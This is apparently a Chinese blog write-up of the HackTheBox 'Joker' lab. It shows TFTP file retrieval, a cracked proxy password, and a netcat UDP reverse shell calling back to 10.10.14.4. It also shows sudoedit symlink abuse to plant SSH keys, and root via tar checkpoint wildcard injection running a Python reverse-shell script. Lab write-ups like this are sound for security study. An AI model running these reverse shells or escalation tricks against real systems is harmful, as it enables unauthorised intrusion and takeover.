• HTB-靶机-Joker


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.21

    nmap -p- --min-rate 10000 -Pn -oN joker.nmap 10.10.10.21

    nmap -p 22,3128 -sC -sV -Pn -oN joker.nmapdetail 10.10.10.21

    sudo nmap -sU --top-ports 200 -oN joker.nmapudp 10.10.10.21

    nmap扫描结果

    此靶机跟udp相关比较多,探测出来了69的tftp服务,直接访问,根据上面开放的代理端口,下载其默认配置文件

    根据上述获得的配置文件信息,得到了代理密码的配置文件位置

    通过tftp使用同样的方式获取到passwords文件,然后使用john使用字典破解

    得出代理服务的账号和密码 为:kalamari:ihateseafood  使用火狐插件配置好代理

    然后访问下web应用看是否可以有页面

    有页面但是显示了个错误页面,访问本地回环口IP地址,没发现啥有价值的信息,之后使用dirb配置代理跑下目录

     dirb http://127.0.0.1 -p http://10.10.10.21:3128 -P kalamari:ihateseafood -r

    发现了console的URI地址,访问得到一个Python交互式的窗口,通过一序列测试,可以执行Python命令,查看了下防火墙配置,发现udp协议是全开放,tcp协议只开了特定端口,所以本靶机需要使用udp协议进行反弹shell,经过测试,udp协议真的不稳定,不是卡住了,就是显示信息不全,而且还容易掉线,下面是执行Python的反弹shell命令

    os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.4 8833 >/tmp/f").read()

    本地kali监听udp协议8833端口

    然后执行了一把sudo -l 发现可以通过sudoedit命令不需要密码的情况下以用户alekos执行特定的文件

    搜索一下sudoedit的历史漏洞信息

    根据漏洞显示可以使用sudoedit命令打开软连接文件的时候,超过两级目录是不会检查路径的,那么这里可以在目标靶机上建立一个文件,然后通过软连接到用户alekos下面的.ssh/authorized_keys文件,然后写入本地kali 的公钥即可通过本地kali连接用户alekos

    上述成功建立软连接,可以使用sudoedit -u alekos /var/www/testing/bmfx/layout.html 直接打开文件然后粘贴自己本地kali 的公钥保存即可 ,这里操作显示的不方便,明明粘贴进去了,会显示空白,所以只要确保粘贴成功了,就可以了

    切换到此用户之后发现两个目录其中一个backup目录

    可以看出是存在计划任务每5分钟备份一次,备份的文件名在前面的基础上+300 ,备份完成之后是权限是root为拥有人,则可判断为备份的动作是root权限执行,那么可以通过计划任务进行提权,因为提权的动作会以root权限使用tar命令去执行打包,所以可以通过tar命令执行提权操作,具体可参考如下链接:

    https://gtfobins.github.io/gtfobins/tar/
    https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
    https://www.exploit-db.com/papers/33930
    https://0xdf.gitlab.io/2020/07/22/htb-shrek.html#chown-wildcard-exploit

    所以通过如下操作进行反弹shell提权

    使用Python进行反弹shell,保存成文件bmfx.py
    
    #!/usr/bin/python
    import subprocess
    
    subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect(("10.10.14.4", 8844));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/sh");s.close()'])
    
    在目录development创建下面的文件
    touch -- --checkpoint=1
    touch -- '--checkpoint-action=exec=python bmfx.py'

    kali环境下执行监听8844端口 socat file:`tty`,raw,echo=0 udp-listen:8844

    等计划任务执行即可获取root-shell

    另一种方式获取root.txt

    通过创建development的软连接到root根目录,然后利用计划任务将root根目录文件打包到backup目录下,然后解压打包的文件查看root.txt

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    【11.5】生成器进阶--send、close和throw方法
    【11.4】协程是什么?
    【python】IO多路复用(select、poll、epoll)介绍及select、epoll的实现
    【11.3】select+回调+事件循环获取html
    【11.2】C10K问题和io多路复用(select、poll和epoll)
    【11.1】并发、并行、同步、异步、阻塞、非阻塞
    【10.10】进程间通信--Queue、Pipe、Manager
    set autotrace on 报cannot set autotrace 错误解决方法
    通配符获取文件
    日期函数
  • 原文地址:https://www.cnblogs.com/autopwn/p/13931382.html
Copyright © 2020-2023  润新知